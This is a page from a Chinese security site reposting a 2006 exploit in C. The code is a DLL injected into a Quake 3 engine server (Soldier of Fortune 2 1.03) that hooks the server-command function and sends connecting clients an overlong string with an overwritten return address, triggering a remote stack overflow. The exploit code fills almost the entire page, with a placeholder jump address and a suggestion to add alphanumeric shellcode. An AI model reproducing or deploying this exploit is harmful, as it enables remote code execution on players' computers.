首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Quake 3 Engine Client CG_ServerCommand() Remote Overflow Exploit
来源:runningbon@gmail.com 作者:RunningBon 发布时间:2006-07-03  

/*
Quake 3 Engine Client CG_ServerCommand() Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)

Use this responsibly. You are responsible for any damage you cause using this.

Info:
The string is heavily filtered before the overflow occurs, so a lot of bytes get stripped. Might want to try alphanum shellcode..
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
char *pVersionString;
DWORD dwVersionStringAddr;
DWORD dwSendServerCommandAddr;
DWORD dwFillSize;
DWORD dwNewEIP;
};

VersionStruct Versions[] = {
{ "SOF2MP GOLD V1.03", 0x5598F8, 0x478660, 999, 0x33333333 }, //SoF2 1.03
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SendServerCommand)(LPVOID pCl, const char *fmt, ...);
void SV_SendServerCommand_Hook(LPVOID pCl, const char *fmt, ...)
{
char szString[4096];
char *pPtr = NULL;

if(pVersion != NULL)
{
memset(szString, 0, sizeof(szString));
pPtr = &szString[0];

memset(pPtr, 'a', pVersion->dwFillSize);
pPtr += pVersion->dwFillSize;

memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
pPtr += sizeof(DWORD);

orig_SV_SendServerCommand(pCl, szString);
}
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
if(dwReason == DLL_PROCESS_ATTACH)
{
for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
{
if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
{
pVersion = &Versions[i];
break;
}
}

if(pVersion == NULL)
{
//Could not find correct version
return 1;
}

DetourFunction((BYTE*)pVersion->dwSendServerCommandAddr, (BYTE*)SV_SendServerCommand_Hook);
_asm mov [orig_SV_SendServerCommand], eax
}

return 1;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BXCP <= 0.3.0.4 (where) Re
·Quake 3 Engine Client CS_ITEMS
·Mac OS X <= 10.4.6 (launchd
·Microsoft Excel Universal Hlin
·Opera Web Browser 9.00 (iframe
·ImgSvr <= 0.6.5 (long http
·GeekLog <= 1.4.0sr3 f(u)cke
·WinRAR <= 3.60 beta 6 (SFX
·Mac OS X <= 10.4.6 (launchd
·WinRAR <= 3.60 beta 6 (SFX
·BLOG:CMS <= 4.0.0k Remote S
·Microsoft Excel 2000/2003 Hlin
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved